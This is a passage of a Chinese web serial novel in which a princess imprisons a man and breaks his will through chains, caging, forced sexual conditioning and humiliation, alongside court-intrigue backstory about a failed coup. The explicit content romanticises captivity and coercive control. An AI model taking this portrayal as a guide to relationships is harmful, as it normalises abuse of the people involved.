一巴掌骤地扇在他的左胸。金环已被永久性的穿在身上,系着的金链不会再被区区巴掌扇掉,但这一掴还是打得他已经愈合的伤口又酥又麻,嘴边溢出一声止不住的低呼,身上铃铛被摇得叮当乱响。 与残忍暴戾的动作不同,越长风的声音轻轻柔柔的:“本宫记得有教过你怎样说真话。” “我……”柳孤城咬了咬牙,“奴去了聚贤阁。” 他这话没有说谎,只是隐瞒了最重要的资讯罢了。 又是一巴掌扇在他的右胸。 现在柳孤城身前两边都是红红肿肿的,系着重重“规矩”的小金环在空中乱颤,模样可怜极了。 “本宫不是问你去了哪里,还是做了什么。”越长风用指尖来来回回的挑动着小金环,平静的说:“本宫是在问你为什么。” 柳孤城一下愣住。 她不在意他离开是去了哪里,去做什么。而是为什么他要离开。 可是,他为什么要离开? 支配者希望听到什么答案? “在你想清楚答案之前,本宫不希望听到你说一个字。” 越长风离开了地下室。 这次她没有把他赶回铁笼里,只是把项圈上的铁链扣在地牢里的一根柱子上。 柳孤城的手腕脚腕依旧被镣铐锁着,只能四肢着地的爬行,铁链的长度却刚好让他可以爬到门边。 他勉强仰起身子摸索门上的纹理,摸着摸着就睡着了。 ----- 地牢的门终于再次被打开时,越长风毫不惊讶地看到了倚在门边的柳孤城。 长期处于黑暗之中的人,一有机会的时候,自然而然就会奔向最接近光明的地方。 出乎她意料之外的是,柳孤城扑上前去,抱住了她的大腿。 “主人……”他似乎想要恳求什么,忽然想起了支配者对自己的命令,话音嘎然而止。 越长风轻笑出声,弯下腰去摸了摸他的头。“乖。” 她从柱子上解开铁链,拽着柳孤城再次坐在软榻上。 “柳孤城。”她轻轻喊着他的名字,让他有了自己又变回一件活物的错觉。 越长风深深吸了一口气,沉声问:“本宫问你的问题,你有答案了么。” 柳孤城抬首,像是鼓起了莫大的勇气一般,深深吸了一口气,缓慢而沙哑的说道: “我怕。” 越长风让他换了一个姿势趴在她的腿上,有一下没一下地拉扯捣弄着两颗勉铃突出体外的那截绳子,慢条斯理的问:“怕什么?” 经过这些日子的训练,柳孤城已经学会了不去死忍住自己动情的声音。 他一边粗喘着,一边哑声回道:“我怕……做狗。” “怕失去做人的自我……和梦想。” 越长风掐着他的下巴,扳过他羞愧地深深埋在榻上的脸,眸光深深的注视着他。 “所以,你宁愿回来当一件连狗也不如的玩物?” 她用了一个“回”字。 她早就知道自己是在入城的路上被陆行舟逮回来的;又或者,她本来就料到了他会出城,故意让陆行舟待在那里守株待兔。 支配者所设下的天罗地网,本来开了一面。 如果他当初选择的是离开帝京,有多远跑多远—— 可是,他心甘情愿的选择了自投罗网。 “是,主人。”支配者的规矩,柳孤城只能这么说。 越长风放开了掐着他下巴的手。 “很好,你终于学会了坦然面对主人。”她顿了顿,却还是摇了摇头:“可是,你还没有坦然面对自己。” “你说的,不过是你一直在努力灌输给自己的表面原因。” 柳孤城一下愣住。 越长风却没有把话头接下去的意思,只是打开了带来的食盒。 这次,她既没有给他喂食的意思,也没有把饭菜倒在脚上,迫他用羞辱的姿势舔舐食物。 她解开了男人的手铐,把饭碗放在他的左手手里,勺子放在他的右手手里。 “自己吃。”她用施舍般的口吻命令。 柳孤城却不知为何感到一阵莫名的空洞。 ----- 柳孤城只觉浑身酸胀发烫,勉子铃带来的感觉仿佛被放大了数倍,每一下最细微的滚动也让他双腿发软,跪也跪不起来。 第一个想法是:饭菜里被下了药。 他感到前所未有的煎熬,明明手铐已被松开,金丝雀也没有被鸟笼困住,他却不敢用双手去触碰自己身上的任何部位;欲望不绝的在脑内叫嚣,他却只能瘫在地上胡乱扭动翻滚起来。 好痒,好空洞,好难受。 他颠颠巍巍的爬到放着玉器的案几前,拿起玉器便要像往常一样往自己身上蹭去—— “我有让你玩了 么?”清清淡淡的声音有如一桶冷水毫不留情的淋在头上。 “主人、我……你……”他连一句完整句子也说不出来。 越长风走到他的面前蹲了下去,悠然自得的笑笑:“你是不是觉得很委屈,因为本宫在你的饭菜里下了药,现在又不让你自行解决?” 柳孤城呆呆的看着她。 “你错了,”越长风摇了摇头,“本宫根本没有下药。” “你只是习惯了本宮給你的規矩和制度。” 短短的一句话仿佛当头棒喝,一下子打得他脑海里满天星宿,晕乎乎的什么也思考不了。 在过去不知多少天的天昏地暗之中,他已经习得了吃、做然后睡觉的生活。 每一次的“吃”,都形成了“做”的前兆,他的身体早已习惯了这种常规,如果吃了之后不做,身体便会发出□□难耐的抗议。 支配者根本不需用药,就像她根本不需手铐鸟笼一样,只需画地为牢,他就已经逃不出她的天罗地网。 越长风用那副悲天悯人的目光定定地看着无论身心都陷在无边痛苦之中的男人,再次问出了曾经在书房里问过的那个问题。“所以,柳奴觉得你更需要的是所谓的自我,还是本宫的规矩和制度?” “我、需要你……” 柳孤城脑中已经糊成一片,不管是药性还是习性,他对自己这一刻最想得到的东西都再也清楚不过。 “奴需要主、主人……” 越长风脸上挂着温和的笑容,在他面前残忍地把玉器收进怀里。 柳孤城眼里的灼灼烈火被控制不住的泪花淋熄了好一大半。 越长风装作不忍的摸了摸他滚烫不已的脸颊,很不适时的问:“你想回到上面去吗?” 第50章 第50章你早就知道柳时言是怎么…… 华丽而不失典雅的屋子里放着与檀木布置格格不入的巨大金笼,笼顶垂下蜿蜒的锁链,弯弯斜斜地垂在笼底的名贵锦缎上,最后锁在一个与奢华金笼又是格格不入的重铁项圈上。 项圈的主人蜷缩在笼子一角,深渊一样的黑眸看着笼顶呆呆出神。 男人身上只有一件什么也遮不住的薄薄纱衣,衣物下若隐若现的肌肤满是羞人的痕迹,私密的地方都被穿上了金环系着铃铛链子,鞭伤留下的旧疤上覆上了一层新的吻痕掐痕,叫人触目惊心。 嘎吱—— 屋门被推开,原本躺在巨大金笼里的人顿时跪直身子。 女郎踏着轻快的步子走进屋中,一只玉手拉开笼门,原来笼门本来就没有上锁,只是没有支配者的允许,男人连爬出笼外的想法也不敢有。 看见男人乖顺的样子,越长风怜惜地摸摸他的头,拉着他后颈上的锁链把他拽出笼子。 她一如既往地给他喂食,看着他一口一口舔食干净。 “乖狗狗。” 她伸手轻轻抚上柳孤城的侧脸,四肢着地的男人往她手上蹭了蹭,然后伸出舌头舔舐她白皙修长的芊芊玉指,像宠物对主人表达依恋的方式。 越长风静静地凝视着他,眸光中若有所思。 手指由变被动为主动,恶劣地在他的口中搅弄着,指甲还轻轻刮着敏感的舌苔。 男人的嘴巴被强行地撑到最大,他禁不住干咳两声,一边抬起水气弥漫的眼眸仰视着手指的主人。 喂食和手指对柳孤城来说都是一种暗示,身体深处在日复一日的规律之下习得的本能已被下意识的激发。 “主人……”他双目迷离的注视着她,身子往前拱了拱,祈求着她的施予。 越长风却慢悠悠的收回手指,在他身上的纱衣擦了擦,从怀里掏出他期待已久的玉器放在地上。 温柔而残忍的说:“自己来,你知道的。” ----- 在柳孤城重新回到地面上的时候,越长风问过他一个问题。 她问:“现在你想做玩物、做狗,还是做人?” 柳孤城犹豫了。 他对越长风坦承了自己逃跑的原因是不想做狗。 可是,他不敢说他想做人——支配者的身边从来没有平等的人。他也害怕做玩物,他不想再过地牢里那样的生活一辈子。 就在他迟疑不决的时候,越长风却已经为他做了决定。 “既然柳奴决定不了,那我们就每样都轮流试试,好不好?”她的尾音微微上扬,用的是问话的语气,却没有让他选择的意思。 她为他穿上久违的薄纱衣裳,动作轻柔地抚摸他发烫的脸颊。“现在,你是狗。” ----- 做狗就像回到了柳孤城逃跑之前的日子,狗可以得到主人的宠爱和赞叹,可以和主人交流,一举一动都能得到双向的反馈。 唯独,没有人会和一只狗行房。 越长风不会使用做狗的他,只会用那副怜悯的眼神看着他自己解决。 然后在他腾云驾雾的时候,一声“止”字让他不由自主的坠落凡尘。 柳孤城只能难耐的承受着满身无法释放的欲\火,低声下气的哀求:“狗狗想要……求求你,主人……” 说了一遍又一遍,每一次都被支配者高高在上地用懒洋洋的语气挑三拣四,直到她的眼中终于流露出满意的神色,却还是会把他最后的一丝希望摧毁。 这个游戏,她每一次都玩得乐此不疲。 可是作为狗的他,在每次被摧毁的“释放”之后都能得到她施舍一样的抚摸和安慰,越长风会一边温声软语的哄着他,一边命令他继续残忍的寸止游戏。 “柳孤城,你做得很好了。”她一边欣赏着他的身体在自己掌下难耐的扭动,一边温柔备至地摩挲着他背上的新旧疤痕。“但你还能做得更好的,对吧?” “你会更加努力的,不让本宫厌弃,对吧?” 听到“厌弃”两字,柳孤城都会像受了刺激一样,两眼发红,眸光深处快要被反覆在边缘上求而不得而淋熄的火苗刷的一下再次燎原。 但他也只会沉声回应:“是,主人。” “傻狗,”越长风把他揽进怀中,在他耳边情深款款的呢喃:“你现在这么听话,本宫可离不了你哩。” 柳孤城知道她的语气越是深情,说出来的话便越不可能是真的。 可是有那么一刹那,他竟希望她对他说的是实话。 ----- 轮到了做玩物的时候。 柳孤城身上的纱衣被脱下,代表着从这一刻开始他没有穿衣的权力,也没有和主人交流的权力。 脖子上的重铁项圈也被取了下来。作为一件物件的他不用再被拴在笼里,所得到的自由却比做狗的时候更加稀少。 他在贵妃榻前跪直身子,前肢着地,同时脊梁仍需挺直,保持背部与地面平衡的状态。 支配者把新鲜沏好的热茶放在他的背上,一边阅读手中卷籍,一边把他当作茶几,滚烫的茶壶茶杯在他背上拎起又放下,放下又拎起。 作为物件,越长风给他的规矩只有一条:不许动。 在她玩腻了茶几之后,便命令他趴下身子,臀部坐在脚跟,双手抱着手肘,双臂贴在地上,这样的高度刚刚好与她从榻上垂下来的玉足同高。 女郎半躺在贵妃榻上闭目养神,脚下便垫着温软舒适的人形脚凳,这样安安静静的又过了一个下午。 书案后的檀木宝座被撤了下去,换上了一张普通木椅。“玩物”平躺在木椅上,修长的双腿高高举起,脚尖指向房顶,长腿成了椅子的靠背,而臀部则成了椅子的凳面。 这些天 来越长风都没有落下朝政的功夫,她静静地坐在椅上批阅奏折,给远在南境赈灾的沈约写下回信,像写家书一样的夹杂着一句句让人面红耳赤的思念之语。 柳孤城听着她自言自语般的轻笑,这一辈子练来的忍耐力都用在了保持姿势忍住不动上面。 在这间屋子里,爽的从来都只有一个人。 ----- 死物没有舔舐主人身体的资格。 就像那日在地牢里一样,作为玩物的柳孤城诡异地有了自己拿着杓子吃饭的资格。 可悲的是,他感觉到的并不是作为人的尊严,而是支配者对于一件物件的冷漠——毕竟,人是会喂宠物吃东西的,但没有人会给一件物件喂食。 吃饭之后,便又是无论作为宠物还是玩物的他都会经历的发×期。 死物并不会懂得自行解決,所以在柳孤城作为玩物的时候,都会得到越长风纡尊降贵的“親自帮助”。 也只有这个时候,他才会在主人“温柔贴心”的“帮助”之下得到真正的解決。 但不只是解決那么简单。 一次、两次、三次…… 柳孤城不想要了。 可是他不能说话,死物本就不该有自己的意愿,更遑论是把自己的意愿表达出来。 一次又一次不由自主的“帮助”已经变成沒有尽头的折磨,他无力地趴在支配者的腿上,止不住的想要挣扎。越长风却没有停下来的意思,而是弯下腰去,像野兽在自己的领地上处处留下印记一样,在陈年旧疤上肆意画下属于自己的新痕。 柳孤城只能忍着一身的脆弱和酸痛,“求求你……主人……” 做狗的时候,他哀求着她再进一步。 做玩物的时候,他哀求着她停下来。 可是越长风又怎会如他所愿。 男人每次被玩得昏睡过去,身上的金链铃铛叮叮当当的响了一整晚,她才给他擦洗身子,然后像抱着一个大型抱枕一样抱着她的“玩物”缓缓入睡。 也只有在做玩物的时候,柳孤城得以睡在主人的床上,甚至是睡在主人的怀里,用自己炽热的身子来温暖就算在盛夏也是浑身冰冷的女郎。 到了做狗的时候,他又会被披上纱衣,戴上项圈拽回笼子之中。 柳孤城已经分不清楚自己是想做狗多一点,还是想做玩物多一点。 而做人的选择……似乎已经离他很遥远了。 ----- 天边晨曦初现,柳孤城在支配者的怀里悠悠醒转,发现自己身上穿了衣服。 这衣服还是一身正经的月白中衣,不是衣不蔽体的薄纱,脖子上没有项圈,勉子铃不知道什么时候被取了出来,也没有被铁链拉着拽回笼子里。 他缓缓睁眼,对上的是女郎幽幽地注视着他的目光。 他不知道自己现在该是玩物还是狗,只是下意识的想要跳下床去,却被越长风伸手按住。 “柳郎还没有做过人吧?” 是柳郎,不是柳奴。 仿佛回到了最初的时候,女郎对着他,情深款款地喊着她对亡夫的称谓。 柳孤城呆了呆,下意识地回道:“是,主人。” 越长风扶着他坐直身子,一改这些日子而来高高在上的轻蔑和残忍,小鸟依人的倚在他的肩上。 她在他的耳边轻笑:“不是主人。” “叫我鸢鸢。” “今天,你是我的驸马。” 她的手在他身上抚摸,却不是在玩弄穿着金环的地方,而是轻柔怜惜地摩挲着他锁骨上那些密密麻麻的伤痕。 动作明明是前所未有的温柔体贴,却让柳孤城从头到脚的毛管直竖,全身上下一下变得僵硬。 越长风在刻意提醒着他,做人所得到的待遇,就是先驸马柳时言曾经得到过的待遇。 柳孤城重新感觉到了做人的自主和尊严,但这些尊严和人格却让他心里五味杂陈:他心心念念地想要做一个人,可是他这一辈子最不想做的,就是自己那个所谓“大哥”的替身。 “鸢鸢……”他不自然地叫著作为爱侣和丈夫的柳时言曾经给她叫的小名,眸光空洞而冷硬。“我是柳孤城。” 清脆如银铃一般的笑声响起。 越长风埋在他的肩窝上,乐得不可开交,“那也是柳郎啊,不是吗?” “难道……”她顿了顿,话音中的笑意多了一丝隐约的危险。“你不喜欢做人?” 柳孤城僵硬地搂上了女郎的腰肢,沉下声音缓缓说道:“我只是不想做先驸马的替身。” “为什么呢?”越长风歪着头,抬首一脸无辜的看着他。“就算柳郎指的并不是柳时言,你也不想做我的驸马么?” 柳孤城沉默不语。 越长风一下子坐直身子,柳孤城失去了身上倚着自己的重量,顿时感到一阵失落。 下一刻,一根金簪却抵在了自己的咽喉。 “是不是因为,做驸马便代表着要死在我的手上?” 鹣鲽情深的表象骤然破碎,越长风的声音一下子变得冰冷。 “你早就知道柳时言是怎么死的,是不是?”【你现在阅读的是 】 50-60 第51章 第51章真正的答案(小反转)…… 柳孤城早就知道名义上的“长兄”、曾经的“少主”是怎么死的。 六年前废太子发动玄武门宫变的那夜动员了整个聚贤阁的人。 在废太子的角度看来,整个聚贤阁和旗下世家都站在自己一方,禁军统领还是听命于聚贤阁的世家子弟,这打的根本就是一场稳赢不输的仗。 但组成聚贤阁的那些百年世家之所以能够屹立百年,就是因为他们从来都不会把注全部押在同一个人身上。 作为柳家少主、聚贤阁核心成员之一的柳时言自然也明白这个道理。而他也自然早就做好了两手准备。 他一边借驸马的名堂和昭阳公主在朝中的关系建立地下钱庄,用帐簿取信于太子一方;一边和妻子卿卿我我,对她有求必应,给她两人真心相爱的假象。 万一太子失败了,下任储君大概便是继后所出的小嫡子、公主的同胞弟弟;只要到时重掌大权的越长风不知道他在背后做过的一切,还愿意去相信他、和他分享自己到时所拥有的一切,他就还能在朝野之间搅弄风云,保持自己在聚贤阁里的话事权,得到那些纯粹的驸马虚衔无法带给自己的权势地位。 无论如何,柳时言和柳家都会立于不败之地。 至少,这是柳时言的想法。 但柳孤城并不这么认为。 自打进入聚贤阁成为科举枪替的时候开始,他便已经在默默观察和聚贤阁有关的所有人。 当中自然也包括柳时言刻意接近的昭阳公主越长风。 在她下降柳家之后,虽然被皇帝没收辅政之权而成为了一名再普通不过的贵妇人,但无论是聚贤阁还是柳时言都忘记了,昭阳公主十二岁跟翰林沈约拜师学习,十四岁便 行走御前学习理政,皇帝一直对她毫不设防而且极度信任,证明她本就不是一个平凡女子。 无论是暗卫营里的替身暗卫还是聚贤阁底层的科举枪替,柳孤城从来都是一个没有身份、见不得光的人。但也是因为这样,他早就学会了匿藏自己,躲在暗处静静观察;而这些年来,他一直就像阴沟里的老鼠一样,藏在见不得光的地方窥视所谓“嫂嫂”的一举一动。 他看见了越长风在转身背对柳时言的时候,瞬间变得冷凝的目光。 看见了越长风偷偷接触因为寒门出身而在禁军之中永远被高门出身的统领压过一头的副统领陆行舟。 看见了越长风在私底下找上了在翰林院的老师沈约,向他虚心求教,重新接触了放下两年的朝政大事,也重新有了对于这个天下的看法和理想。 也看见了她派人彻查柳时言和地下钱庄的蛛丝马迹,看见了她在玄武门前布下天罗地网,只待她的皇兄和驸马自投罗网。 柳孤城就知道了,太子必输无疑,而柳时言也必死无疑。 但是,他可没有半点想要阻止这件事情发生的意思。 甚至乎,他等这个机会,已经等了很久。 他没有亲眼看见柳时言之死。那一日在玄武门前的宫变也成为了天家的禁忌,对外只称太子犯上作乱,而驸马则是被乱党挟持,在混乱之中身中流矢而亡。 但是,柳孤城知道,柳时言的死绝非巧合。越长风想要他死,也有能力让他死。 但这些对六年前的他来说都不重要。他只看到了一个太子驸马双死的机会。 没有了柳时言,柳十二曾经的存在意义便全部抹去,柳孤城才可以真真正正的做自己。 聚贤阁群龙无首,他还可以趁乱控制聚贤阁,把世家多年沉积的力量转化为自己所用,来达到他那个推倒重来的疯狂理想。 毕竟,他从一开始,便是一个所图甚大的疯狂赌徒。 就像这一刻他面对着越长风不再伪装的冰冷对质,相比她早前刻意做出来的虚假爱意,反而让他多了一种安心的感觉。 “知道的话,又怎么样?”柳孤城定定的看着她,没有退缩,脖子反而高傲的仰起,让自己全身最脆弱的地方暴露在对方尖利的金簪之下。“鸢鸢也会杀了我吗?” 也许是终于被准许做人给了他前所未有的勇气,又或者是他终于想起了自己本来就是一个豁出一切的疯狂赌徒。 柳孤城一双黑眸里这些天来的茫然和迷离都统统散去,眸光像初见那样的清澈明净,唯独眸光深处燃烧着深红焰火。 越长风静静看着那片熊熊烈火,明媚张扬表象之下长年冷硬的心恍惚被焰火的温度感染,心里也恍惚有什么在那一刹间悄然塌陷。 掌控欲极强的她并不喜欢这种失控的感觉,也不喜欢这种两人之间近乎平等的对视方式。 她忽然觉得,也许让他做人是一个错误的选择。 但是事到如今,她已经不可以停下来了。 这个玩物、狗和人的身份轮换游戏,本来也是越长风的一场豪赌。柳孤城以身入局,她也不惶多让,走进局中与他埋身肉搏,以自己为赌注……去赢得他的驯化,以及坦诚。 她要柳孤城用人的身份去主动告诉自己,他害怕的是什么,想要的又是什么。 “你其实并不怕死。”越长风摇了摇头,收回金簪,用平静得近乎冷漠的眼神看着他。“那么告诉我,为什么要逃跑——你真正的答案是什么。” “你在害怕什么。”不再对他最脆弱的咽喉施加性命之忧的压力,她的语调却是比先前更加咄咄迫人。“你又想要什么。” 柳孤城沉默了。 他的确并不怕死。从他十几岁的时候,便已经一次又一次以自己本来毫无价值的生命为注,去赌得更多更大的东西。 但他听得出来,越长风对自己没有杀意——而他竟然有了如释重负的感觉。 “我……”沉思了仿佛有半辈子的时间,柳孤城终于缓缓开口。 他深深吸了一口气,这次没有多余的修饰和考量,他直接说出了自己最深的恐惧。 “我害怕没有自我。”他轻轻说道,“害怕没有独特的人格和身份,会成为权贵手中一件随时可以被放弃、随时可以被取代的物件。” 直到成为阁主之前,他都只是任由权贵揉捏搓弄的一件物件,柳家少主的替身暗卫可以是任何人,贫民窟的底层渣宰死了也没有人为他们觉得可惜,聚贤阁的科举枪替代考多年,却没有一份功名是属于自己,不过都是权贵手中的工具罢了。 越长风静静听着,脸上表情不置可否,只是听他声音微哑的说完之后轻轻执起执起男人的手,像把玩着一件玩物一样却又不乏温柔的把玩着男人骨节分明的修长手指。 “那你现在最想要的,又是什么。” 他想要—— 他的理想吗? 报复这个对自己不公的世道吗? 把这一切通通都推倒重来吗? 柳孤城听见了自己的呢喃,颤抖的声音听在耳中仿佛是从别人口中说出来似的。 “我想要你。” 越长风定定的注视着他,明明是作为平等的“人”,用的是平视的角度,她的目光却更像是居高临下的审视。 “没有人是不可以被取代的。”她忽然勾唇一笑,笑颜灿烂如花,眼中却只有上位者的轻慢和不以为然。“记得在你我初遇的时候,本宫就说过了,终有一天你会成为我的柳郎。” 柳孤城身躯一震。 “你还想要我吗?”她声音娇柔魅惑的问。“想要做我的柳郎吗?” 柳孤城双唇紧抿,目光渐变暗红。 越长风站了起来。 “你再好好想想。” 她毫无留恋的走了出去,屋门砰的一声在身后关上。 柳孤城瘫软在床上,盯着床顶帐幔呆呆出神。 【没有人是不可以被取代的】,那似乎是一句有意无意的暗示。 “人”可以被取代,“柳郎”已经被她亲手弃置了一个,而下一个就是他柳孤城。 越长风可以和他玩鹣鲽情深的夫妻游戏,也可以随时放弃他这个扮演“夫郎”身份的人,然后再去找下一个“夫郎”。 面对她的问题,正确答案到底是什么? 他心底真正的答案,又到底是什么? 柳孤城在床上枯坐了一个时辰,才等到越长风施施然的归来。 他一下子跳下床去,四肢着地爬到门边,跪在了悠然站着的女郎脚下。 “柳郎想好了吗?”越长风伸手摸摸他的头,温温柔柔的问。 柳孤城没有立即回话,而是伸手抱住了她的腿。 他默默地抱了好一会儿,整个身体都好像在微微颤抖,才缓缓说道:“奴想要主人。” 爬行、跪姿、自称和尊称的改变,已经昭示着柳孤城的答案。 越长风俯视着他,他刻意把脸埋在了她的裙子上,让她看不清他的表情,但话音却比之前虚弱了不少,像是随时会被风吹散一样。 但仍带着一头桀骜不驯的狼特有的高傲和自尊,那大概也是柳孤城本性难移的一点。 知道埋在她腿上的柳孤城此刻看不见,越长风的嘴角满意的扬起。 但她的语调依旧淡漠抽离:“所以,你为什么要逃跑,又为什么要回来。” 她再次问出了在地牢里问过的问题。 在地牢里的时候,柳孤城的答案是,他怕失去自我。 这的确是他这辈子最害怕的东西。但这并不是他逃离她而又折返的原因。 “因为……” 柳孤城抬起头来,仰望女郎的双目闪铄着一种说不清道不明的光芒。 “奴想要主人。”他再次重复了同一个答案,但这次却多了后面的转折:“但是,奴不想成为一件随时可弃的消耗品。” “所以你想要激怒本宫,如果你不是一件可以随时被取代的消耗品,那本宫就会作出符合你期望的举动……抓捕你,囚禁你,调教你。是不是?” “……是,主人。”柳孤城再次低下头去。 越长风蹲下\身子,伸手掐住他的下巴,迫他抬起头来直面自己。 “本宫说过,你的恐惧,不过是你给自己灌输的、最表面的原因。” 她的声音沉稳而清澈,没有经过层层伪装的温柔和怜悯,而是带着最直截了当的真诚,这种真诚却像皇城前的登闻鼓一样,轻轻一击便让整个帝京城都振聋发聩。 这种真诚,近乎残忍。 “你知道我曾经有多深爱驸马,然而他还是死在我的手上,而你也知道自己注定与我背道而驰,所以你害怕自己最终也会像他一样被我毫无留恋的放弃。” “所以,你选择了在被我放弃之前,自己先预演一次。” “因为你想知道,我还会不会坚定不移的选择你。” “会不会对你和对柳时言不同,即使你同样也会为了自己的原因而从我身边逃离。” 第52章 第52章项圈、做狗还是做人…… “是,或不是。” “回答我。” 柳孤城听着她低沉而平静的话音,依旧是那样真诚至极的语调,却让他禁不住瑟缩了一下。 他在害怕。 这是深入意识之中的恐惧,甚至与越长风这些日子的反覆调教无关,而是他这二十几年来早已刻入骨髓的恐惧。 他把自己一层又一层的包裹起来,学会了伪装自己、隐藏自己,越长风却偏偏要抽丝剥茧的把他剥离出来,暴露出最深层最脆弱的一面。 谁不希望被肯定被需要,偏偏柳孤城从来没有作为一个独立的人格而得到任何肯定和需要。所以他用了二十多年的时间去筑起一重又一重的高墙,埋没一切不堪的过往,去选择一条独立的、强大的、不必依附任何人的道路,而道路的尽头,是微笑着拥抱遍体的伤痕和所有的施恶者同归于尽。 但越长风揭开了他最深处的渴望,他还是二十多年前就在暗衞营里被告知自己是一件消耗品的那个小男孩,最不可得的幻想就是终有一日会被坚定不移的走向和选择。 柳孤城沉默了很久。 然后他不答反问:“所以,主人也需要我,是不是?” 其实她已经用行动作出了答案。追捕、囚禁、调教、驯化……全部都是由越长风主动做出的举动,柳孤城在背后推动了这一切,自己却一步也不必走向她。 越长风定定的注视着他,目光里的真诚和平静已经不见,她的脸上依旧是温温和和的笑着,眼里却燃烧着前所未有的占有欲和毁灭欲。 掐着男人下巴的手指收紧,在下巴上掐出了微红的指印。然后往自己的方向一拉,直到两人之间只有一指的距离,温热的气息喷洒在他的唇上,缱绻而危险。 “知道了,那又如何?”她轻笑。“你会知道,戳破本宫的下场。” ----- 承元二十二年,太子在玄武门前发动宫变,结果以失败收场,太子、二皇子、三皇子通通在对峙之中丧命,驸马柳时言被波及,禁军副统领陆行舟和镇北军的裴小将军成为领兵勤王的功臣。 在腥风血雨的宫变落幕之后,承元帝把自己困在含元殿里三日三夜,在第三夜才让身边的内侍总管传召了昭阳公主上殿。 不到五十的男人在一夜之间变得满头白发,但他的脊梁依旧挺直,威仪不减的坐在高高在上的龙椅上,居高临下的淡然俯视悠然走近的女子。 越长风上殿后没有行礼,也没有说什么多余的话,只是直截了当的问: “这就是父皇想要见到的结果?” 承元帝定定的看着眼前陌生得好像自己从来都没有认识过的女儿,紧抿嘴唇,没有回答。 下臣见君,没有君命只能待在阶下仰望。越长风却没有停下脚步,一步一步的走上长长阶梯,一路逾矩地走到金光灿灿的帝王宝座跟前。 承元帝却没有呵斥,只是脸色阴沈,沈声反问:“手足相残,又怎会是朕所乐见?” 他顿了顿,叹了一口气:“手心手背都是肉,他们三个也是朕的儿子。” 越长风冷冷一笑:“本宫不也失去了一生一世一双人的好夫君。” 话中不无惋惜之意,语调却敷衍得连半分伪装出来的真心也没有。 听她提起驸马,承元帝方法扳回一城,连脖颈也骄傲的扬了扬,嘲讽嗤笑:“不过两年前,你还愿意用你手上所有权势作为交换,哀求朕给你一个下嫁柳家大郎的机会。” “在昭阳亲手杀了他的时候,心里有什么感受?” 越长风低头看着自己白皙如玉的手,在这三天里她已经不知道濯洗过多少次了,此刻当然是干净得一尘不染。 恍恍惚惚之间,她却彷佛看到了上面擦洗不去的鲜血淋漓。 她眨了眨眼,血迹一下子消散,目光也变得前所未有的冷硬:“没有感受。” 像是不愿在所谓的父亲面前展示自己的软弱一样,她也微微昂头,两人一站一坐的,她借着高度的差距俯视着他:“本宫已经学会了一个道理,这天下没有什么是独一无二、永远也不可能被取代的。” “男人如是。” “储君如是。” 幽深的眼眸没有一丝温度的刺向自己的父亲,越长风嘴角微勾,轻轻笑道:“这张由累累白骨铺成的黄金座……也如是。” 重重的压迫感排山倒海一样往承元帝身上压去,就算是常年身居高位的天下至尊也不禁生了一下退缩之意。 他却很快便收拾好情绪,脸上露出一副慈父面对劣孩时心痛和无奈的表情,直接忽略了越长风对于皇权和皇位赤\裸\裸的挑衅,只是一副语重心长的叹道:“长风啊,你总会明白,这世间的确会有独一无二的东西的。” “到你明白了的时候,就不能再像这样说不要就不要了。” 越长风一向悠然含笑的双目里闪铄着前所未有的疯魔焰火,她冷冷一笑,嘴上轻飘飘的说着重逾千斤的话: “如果有无法被取代的东西。” “那本宫定会把它打碎、摧毁、重塑,让它面目全非,成为只有我一个人愿意接受的样子,直到它不会成为我的软肋,也绝对没有从我指缝之间漏出的任何可能。” ----- “我好难受……” “求求主人……” “摸摸我,抱抱我……帮帮我……” 柳孤城呈大字型的躺在主屋的大床上,身上衣服尽退,代表为奴“规矩”的金链再次被挂回羞耻部位的金环上,手铐脚镣上的铁链锁在大床四角。 他现在正处于玩物、狗和人之间的三不像状态,嘴里吐出的话通通语无伦次,支配者也已经失去了玩残酷三选一的兴致,没有强迫他进入其中一种状态。 男人正处于被习惯养成的发×期之中,越长风站在床边,离他是这么近又那么远,被束缚着四肢的柳孤城难耐地蠕动身子,却无法接近她刻意悬在自己上方的纤纤玉手。 他的浑身上下像是染过的布匹一样泛着红意,疯狂的情潮一波又一波的侵袭着他没多久之前还在理性分析并尝试在谈判桌上扳回一局的脑子,脑海里再无一丝连贯的想法,本能驱使着他扭着双腿,却在镣铐的桎梏下只能隔靴搔痒的小幅颤动,全身都是密密麻麻的又酥又痒。 “我是谁?”越长风居高临下地看着他,眉眼含笑,手指移到他红艳欲滴的嘴唇上方。 柳孤城下意识的伸出指尖去舔,却在快要触碰到的一刻,手指骤然往上一抽,彻底离开了他可以接触到的距离。 “呜……”嘴唇之间溢出一声似有若无的悲鸣。 “主人……你是主人。” 越长风眸底笑意更盛,她锲而不舍的问:“那么,你是谁?” 这个问题她已经不厌其烦的问过很多次了,但她还未等到她满意的答案。 柳奴、柳郎、小叔子、玩物、狗——这些都是她曾经加诸在他身上的身份,可是这些都不是她想要的答案。 可是她并不介意,等不到便继续等,她可以一点一点的把不满意的地方敲碎,再把它磨成自己想要的样子。 柳孤城下意识的求饶:“奴错了,对不起主人……请主人责罚……” 这并不是越长风想要的答案。他甚至根本没有在回答她的问题。 惩罚是 得不到任何的赏罚。没有主人的使用,没有主人的“帮助”,甚至没有任何的鞭打或体罚。 只有彻底的切割和舍弃。 在柳孤城再一次快要被逼疯的时候,支配者又开口了。 “回答我,你是谁。”她再一次问。 “奴、奴是主人想要的……任何东西。” 不知过了多久,他才等到了支配者的回应。 “你终于答对了。” 那一瞬间,柳孤城唯一的感受就是感激。 越长风解开了他四肢上的手铐脚镣,手上一下子没有了桎梏,他却不敢私自触碰自己的任何地方,只能像木偶一样任由主人摆弄着自己坐直身子。 越长风与他并肩坐着,像曾经和柳时言在床上卿卿我我一样,地位平等、亲密无间的交颈相缠。 柳孤城骄傲、不驯,身负重重秘密多年,直到现在还是让人难以彻底看穿。 这样的人内心不是一般的强大,像是隐忍鸷伏的一头恶狼,随时都在准备噬咬猎物。 这样的一头恶狼,也本来不可能乖乖坐在这里,目光空洞,被其视为猎物的人类驯化。 但驯化已经初见成效。 越长风把一个锦盒放在他的膝上,在他呆呆的注视之下打开了它。 柳孤城认得那个锦盒,也认得里面的东西。 那是他曾经亲手放在这张床上的狗项圈。 上面的雕刻饰物还在,那张刻着鸢字的玉牌……也还在。 “本宫给你最后一次选择。” 越长风含笑看他,目光里却带着可谓尖锐的认真。 “做玩物,做狗,还是做人。” 柳孤城怔怔地看着狗项圈,似乎心内交战良久,终于他拿起项圈,站起身来,直直跪在了她的脚下。 然后,亲手把项圈扣在细细的脖颈上。 第53章 第53章真的想要自由和尊严,当…… “霍霍——” 